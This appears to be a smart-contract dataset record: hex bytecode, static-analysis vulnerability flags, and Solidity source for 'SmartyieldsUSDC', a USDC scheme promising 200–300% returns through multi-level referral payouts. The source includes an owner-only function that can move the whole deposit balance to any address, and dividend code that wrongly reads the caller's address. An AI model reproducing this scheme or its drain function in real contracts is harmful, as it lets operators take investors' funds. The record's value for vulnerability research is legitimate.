fffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612923578082015181840152602081019050612908565b505050509050019650505050505050600060405180830381600087803b15801561294c57600080fd5b505af1158015612960573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129965760009050612a03565b60008284029050828482816129a757fe5b04146129fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec76021913960400191505060405180910390fd5b809150505b92915050565b6000612a4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd5565b905092915050565b80612a6157612a60612d9b565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b045750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1957612b14848484612dde565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd157612bcc84848461303e565b612c95565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c735750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8857612c8384848461329e565b612c94565b612c93848484613593565b5b5b5b80612ca457612ca361375e565b5b50505050565b6000806000612cb7613772565b91509150612cce8183612a0990919063ffffffff16565b9250505090565b60008083118290612d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d46578082015181840152602081019050612d2b565b50505050905090810190601f168015612d735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8d57fe5b049050809150509392505050565b6000600c54148015612daf57506000600d54145b15612db957612ddc565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df087613a1f565b955095509550955095509550612e4e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc481613b59565b612fce8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305087613a1f565b9550955095509550955095506130ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322481613b59565b61322e8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b087613a1f565b95509550955095509550955061330e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351981613b59565b6135238483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a587613a1f565b95509550955095509550955061360386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e481613b59565b6136ee8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d4578260026000600984815481106137ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613893575081600360006009848154811061382b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b157600a54683635c9adc5dea0000094509450505050613a1b565b61393a60026000600984815481106138c557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8790919063ffffffff16565b92506139c5600360006009848154811061395057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8790919063ffffffff16565b9150808060010191505061378d565b506139f3683635c9adc5dea00000600a54612a0990919063ffffffff16565b821015613a1257600a54683635c9adc5dea00000935093505050613a1b565b81819350935050505b9091565b6000806000806000806000806000613a3c8a600c54600d54613d38565b9250925092506000613a4c612caa565b90506000806000613a5f8e878787613dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613ac983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245a565b905092915050565b600080828401905083811015613b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b63612caa565b90506000613b7a828461298390919063ffffffff16565b9050613bce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cf957613cb583600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1382600a54613a8790919063ffffffff16565b600a81905550613d2e81600b54613ad190919063ffffffff16565b600b819055505050565b600080600080613d646064613d56888a61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613d8e6064613d80888b61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613db782613da9858c613a8790919063ffffffff16565b613a8790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de7858961298390919063ffffffff16565b90506000613dfe868961298390919063ffffffff16565b90506000613e15878961298390919063ffffffff16565b90506000613e3e82613e308587613a8790919063ffffffff16565b613a8790919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d4e0af0fc82c8a0ae4b62ca5000550063187f881144d82ca598d08fe4a0dfeb564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,174 |
0xaf8e283a4691c77944fb087d78940f2de4bce148
|
pragma solidity 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeERC20 {
using SafeMath for uint;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract SmartyieldsUSDC {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address private tokenAddr = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC
IERC20 public token;
uint256[] public REFERRAL_PERCENTS = [50, 40, 30];
uint256[] public BONUS_PERCENTS = [100, 150, 200, 250, 300];
uint256 constant public TOTAL_REF = 120;
uint256 constant public CEO_FEE = 100;
uint256 constant public HOLD_BONUS = 10;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 public totalInvested;
uint256 public totalBonus;
uint256 public INVEST_MIN_AMOUNT = 50 ether;
uint256 public BONUS_MIN_AMOUNT = 50 ether;
bool public bonusStatus = false;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 amount;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256[3] levels;
uint256 bonus;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
mapping (address => mapping(uint256 => uint256)) internal userDepositBonus;
uint256 public startDate;
address payable public ceoWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 amount, uint256 time);
event Withdrawn(address indexed user, uint256 amount, uint256 time);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable ceoAddr, uint256 start) public {
require(!isContract(ceoAddr));
ceoWallet = ceoAddr;
token = IERC20(tokenAddr);
if(start>0){
startDate = start;
}
else{
startDate = block.timestamp;
}
plans.push(Plan(40, 50)); // 200%
plans.push(Plan(60, 40)); // 240%
plans.push(Plan(100, 30)); // 300%
}
function invest(address referrer, uint8 plan , uint256 amount) public {
require(block.timestamp > startDate, "contract does not launch yet");
require(amount >= INVEST_MIN_AMOUNT,"error min");
require(plan < 4, "Invalid plan");
require(amount <= token.allowance(msg.sender, address(this)) ,"Tansaction not approved");
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 ceo = amount.mul(CEO_FEE).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, ceo);
emit FeePayed(msg.sender, ceo);
User storage user = users[msg.sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
else{
user.referrer = ceoWallet;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].levels[i] = users[upline].levels[i].add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 refAmount = amount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(refAmount);
users[upline].totalBonus = users[upline].totalBonus.add(refAmount);
emit RefBonus(upline, msg.sender, i, refAmount);
upline = users[upline].referrer;
} else break;
}
}else{
uint256 refAmount = amount.mul(TOTAL_REF).div(PERCENTS_DIVIDER);
token.safeTransfer(ceoWallet, refAmount);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(plan, amount, block.timestamp));
totalInvested = totalInvested.add(amount);
emit NewDeposit(msg.sender, plan, amount, block.timestamp);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
user.bonus = 0;
totalAmount = totalAmount.add(referralBonus);
}
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = token.balanceOf(address(this));
if (contractBalance < totalAmount) {
user.bonus = totalAmount.sub(contractBalance);
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
token.safeTransfer(msg.sender, totalAmount);
emit Withdrawn(msg.sender, totalAmount, block.timestamp);
}
function getContractBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
for (uint256 i = 0; i < user.deposits.length; i++) {
uint256 finish = user.deposits[i].start.add(plans[user.deposits[i].plan].time.mul(TIME_STEP));
if (user.checkpoint < finish) {
uint256 share = user.deposits[i].amount.mul(plans[user.deposits[i].plan].percent).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = finish < block.timestamp ? finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
uint256 holdDays = (to.sub(from)).div(TIME_STEP);
if(holdDays > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(HOLD_BONUS.mul(holdDays)).div(PERCENTS_DIVIDER));
}
}
//end of plan
if(finish <= block.timestamp){
if(userDepositBonus[msg.sender][i] > 0){
totalAmount = totalAmount.add(user.deposits[i].amount.mul(userDepositBonus[msg.sender][i]).div(PERCENTS_DIVIDER));
}
}
}
}
return totalAmount;
}
function getUserHoldBonus(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
if(user.checkpoint > 0){
uint256 holdBonus = 0;
if (user.checkpoint < block.timestamp) {
uint256 holdDays = (block.timestamp.sub(user.checkpoint)).div(TIME_STEP);
if(holdDays > 0){
holdBonus = holdDays.mul(HOLD_BONUS);
}
}
return holdBonus;
}
else{
return 0;
}
}
function getUserTotalWithdrawn(address userAddress) public view returns (uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256[3] memory referrals) {
return (users[userAddress].levels);
}
function getUserTotalReferrals(address userAddress) public view returns(uint256) {
return users[userAddress].levels[0]+users[userAddress].levels[1]+users[userAddress].levels[2];
}
function getUserReferralBonus(address userAddress) public view returns(uint256) {
return users[userAddress].bonus;
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus.sub(users[userAddress].bonus);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(TIME_STEP));
}
function getSiteInfo() public view returns(uint256 _totalInvested, uint256 _totalRef, uint256 _totalBonus) {
return(totalInvested, totalInvested.mul(TOTAL_REF).div(PERCENTS_DIVIDER),totalBonus);
}
function getUserInfo(address userAddress) public view returns(uint256 totalDeposit, uint256 totalWithdrawn, uint256 totalReferrals) {
return(getUserTotalDeposits(userAddress), getUserTotalWithdrawn(userAddress), getUserTotalReferrals(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
//config
function setMinMax(uint256 minAmount, uint256 minBonus) external {
require(msg.sender == ceoWallet, "only owner");
INVEST_MIN_AMOUNT = minAmount;
BONUS_MIN_AMOUNT = minBonus;
}
function setBonusStatus(bool status) external {
require(msg.sender == ceoWallet, "only owner");
bonusStatus = status;
}
function withdrawTokens(address tokenAddr, address to) external {
require(msg.sender == ceoWallet, "only owner");
IERC20 alttoken = IERC20(tokenAddr);
alttoken.transfer(to,alttoken.balanceOf(address(this)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c80637e3abeea11610130578063c43a1808116100b8578063e85abe091161007c578063e85abe0914610656578063ee688e1c1461067c578063fb4cb32b14610684578063fbfcb279146106aa578063fc0c546a146106d057610232565b8063c43a1808146105ce578063cd23b441146105eb578063d7ffca91146105f3578063e262113e14610619578063e84cdabc1461062157610232565b8063a8aeb6c2116100ff578063a8aeb6c214610504578063a8dd07dc1461052a578063aecaa63414610532578063b668ac4b1461056b578063c0806b031461057357610232565b80637e3abeea1461046e578063a0aafaa714610494578063a522ad25146104b3578063a681f950146104e157610232565b80633ccfd60b116101be5780635216aeec116101825780635216aeec146103f5578063600d20ce146103fd5780636386c1c71461041a5780636bb18556146104405780636f9fb98a1461046657610232565b80633ccfd60b1461037157806348c372031461037b5780634a64e867146103a15780634bc4e085146103c75780634ce87053146103cf57610232565b8063153ab9df11610205578063153ab9df146102dd57806329420b741461030357806332bc298c1461031f57806336144c9a14610327578063389cabee1461036957610232565b806301c234a81461023757806303a93c0c14610251578063040a772e146102af5780630b97bc86146102d5575b600080fd5b61023f6106d8565b60408051918252519081900360200190f35b6102776004803603602081101561026757600080fd5b50356001600160a01b03166106de565b6040518082606080838360005b8381101561029c578181015183820152602001610284565b5050505090500191505060405180910390f35b61023f600480360360208110156102c557600080fd5b50356001600160a01b0316610735565b61023f610a03565b61023f600480360360208110156102f357600080fd5b50356001600160a01b0316610a09565b61030b610a32565b604080519115158252519081900360200190f35b61023f610a3b565b61034d6004803603602081101561033d57600080fd5b50356001600160a01b0316610a42565b604080516001600160a01b039092168252519081900360200190f35b61034d610a63565b610379610a72565b005b61023f6004803603602081101561039157600080fd5b50356001600160a01b0316610c1d565b61023f600480360360208110156103b757600080fd5b50356001600160a01b0316610c3b565b61023f610cc3565b6103d7610cc8565b60408051938452602084019290925282820152519081900360600190f35b61023f610cf7565b61023f6004803603602081101561041357600080fd5b5035610cfd565b6103d76004803603602081101561043057600080fd5b50356001600160a01b0316610d1b565b61023f6004803603602081101561045657600080fd5b50356001600160a01b0316610d48565b61023f610d7a565b61023f6004803603602081101561048457600080fd5b50356001600160a01b0316610df6565b610379600480360360208110156104aa57600080fd5b50351515610e6e565b610379600480360360408110156104c957600080fd5b506001600160a01b0381358116916020013516610ecd565b610379600480360360408110156104f757600080fd5b5080359060200135611017565b61023f6004803603602081101561051a57600080fd5b50356001600160a01b031661106e565b61023f611089565b6105526004803603602081101561054857600080fd5b503560ff1661108f565b6040805192835260208301919091528051918290030190f35b61023f6110df565b61059f6004803603604081101561058957600080fd5b506001600160a01b0381351690602001356110e4565b6040805160ff909616865260208601949094528484019290925260608401526080830152519081900360a00190f35b61023f600480360360208110156105e457600080fd5b50356111ca565b61023f6111d7565b61023f6004803603602081101561060957600080fd5b50356001600160a01b03166111dd565b61023f6111fb565b6103796004803603606081101561063757600080fd5b506001600160a01b038135169060ff6020820135169060400135611201565b61023f6004803603602081101561066c57600080fd5b50356001600160a01b0316611851565b61023f61186f565b61023f6004803603602081101561069a57600080fd5b50356001600160a01b0316611874565b61023f600480360360208110156106c057600080fd5b50356001600160a01b0316611892565b61034d6118c0565b6103e881565b6106e6611cbc565b6001600160a01b0382166000908152600a60205260409081902081516060810192839052916003918201919082845b81548152602001906001019080831161071557505050505090505b919050565b6001600160a01b0381166000908152600a6020526040812081805b82548110156109fb5760006107e36107b462015180600987600001868154811061077657fe5b6000918252602090912060039091020154815460ff90911690811061079757fe5b60009182526020909120600290910201549063ffffffff6118cf16565b8560000184815481106107c357fe5b90600052602060002090600302016002015461192f90919063ffffffff16565b905080846001015410156109f257600061087b6103e861086f600988600001878154811061080d57fe5b6000918252602090912060039091020154815460ff90911690811061082e57fe5b90600052602060002090600202016001015488600001878154811061084f57fe5b9060005260206000209060030201600101546118cf90919063ffffffff16565b9063ffffffff61198916565b90506000856001015486600001858154811061089357fe5b906000526020600020906003020160020154116108b45785600101546108d6565b8560000184815481106108c357fe5b9060005260206000209060030201600201545b905060004284106108e757426108e9565b835b90508082101561098b5761092a61091d6201518061086f610910858763ffffffff6119f316565b879063ffffffff6118cf16565b879063ffffffff61192f16565b955060006109456201518061086f848663ffffffff6119f316565b90508015610989576109866109796103e861086f61096a600a8663ffffffff6118cf16565b8c6000018b8154811061084f57fe5b889063ffffffff61192f16565b96505b505b4284116109ee57336000908152600b60209081526040808320888452909152902054156109ee57336000908152600b6020908152604080832088845290915290205487546109eb9161091d916103e89161086f918c908b90811061084f57fe5b95505b5050505b50600101610750565b509392505050565b600c5481565b6000610a2c610a1783610735565b610a2084611851565b9063ffffffff61192f16565b92915050565b60085460ff1681565b6201518081565b6001600160a01b039081166000908152600a60205260409020600201541690565b600d546001600160a01b031681565b336000818152600a6020526040812091610a8b90610735565b90506000610a9833611851565b90508015610aba5760006006840155610ab7828263ffffffff61192f16565b91505b60008211610b07576040805162461bcd60e51b81526020600482015260156024820152745573657220686173206e6f206469766964656e647360581b604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610b5257600080fd5b505afa158015610b66573d6000803e3d6000fd5b505050506040513d6020811015610b7c57600080fd5b5051905082811015610ba157610b98838263ffffffff6119f316565b60068501559150815b4260018501556008840154610bbc908463ffffffff61192f16565b6008850155600154610bde906001600160a01b0316338563ffffffff611a5016565b60408051848152426020820152815133927f92ccf450a286a957af52509bc1c9939d1a6a481783e142e41e2499f0bb66ebc6928290030190a250505050565b6001600160a01b03166000908152600a602052604090206007015490565b6001600160a01b0381166000908152600a60205260408120600181015415610cb3576001810154600090421115610caa576000610c8c6201518061086f8560010154426119f390919063ffffffff16565b90508015610ca857610ca581600a63ffffffff6118cf16565b91505b505b91506107309050565b6000915050610730565b50919050565b607881565b60045460009081908190610ce96103e861086f83607863ffffffff6118cf16565b600554925092509250909192565b60045481565b60028181548110610d0a57fe5b600091825260209091200154905081565b6000806000610d2984610df6565b610d3285611874565b610d3b86611892565b9250925092509193909250565b6001600160a01b0381166000908152600a602052604081206006810154600790910154610a2c9163ffffffff6119f316565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b5051905090565b6000805b6001600160a01b0383166000908152600a6020526040902054811015610cbd576001600160a01b0383166000908152600a602052604090208054610e64919083908110610e4357fe5b9060005260206000209060030201600101548361192f90919063ffffffff16565b9150600101610dfa565b600d546001600160a01b03163314610eba576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b6008805460ff1916911515919091179055565b600d546001600160a01b03163314610f19576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b604080516370a0823160e01b8152306004820152905183916001600160a01b0383169163a9059cbb91859184916370a08231916024808301926020929190829003018186803b158015610f6b57600080fd5b505afa158015610f7f573d6000803e3d6000fd5b505050506040513d6020811015610f9557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b505050506040513d602081101561101057600080fd5b5050505050565b600d546001600160a01b03163314611063576040805162461bcd60e51b815260206004820152600a60248201526937b7363c9037bbb732b960b11b604482015290519081900360640190fd5b600691909155600755565b6001600160a01b03166000908152600a602052604090205490565b60055481565b60008060098360ff16815481106110a257fe5b906000526020600020906002020160000154915060098360ff16815481106110c657fe5b9060005260206000209060020201600101549050915091565b600a81565b6001600160a01b0382166000908152600a602052604081208054829182918291829181908890811061111257fe5b60009182526020909120600390910201546009805460ff9092169750908790811061113957fe5b906000526020600020906002020160010154945080600001878154811061115c57fe5b906000526020600020906003020160010154935080600001878154811061117f57fe5b90600052602060002090600302016002015492506111bd6111ae620151806009846000018b8154811061077657fe5b8260000189815481106107c357fe5b9150509295509295909350565b60038181548110610d0a57fe5b60075481565b6001600160a01b03166000908152600a602052604090206001015490565b60065481565b600c544211611257576040805162461bcd60e51b815260206004820152601c60248201527f636f6e747261637420646f6573206e6f74206c61756e63682079657400000000604482015290519081900360640190fd5b60065481101561129a576040805162461bcd60e51b815260206004820152600960248201526832b93937b91036b4b760b91b604482015290519081900360640190fd5b60048260ff16106112e1576040805162461bcd60e51b8152602060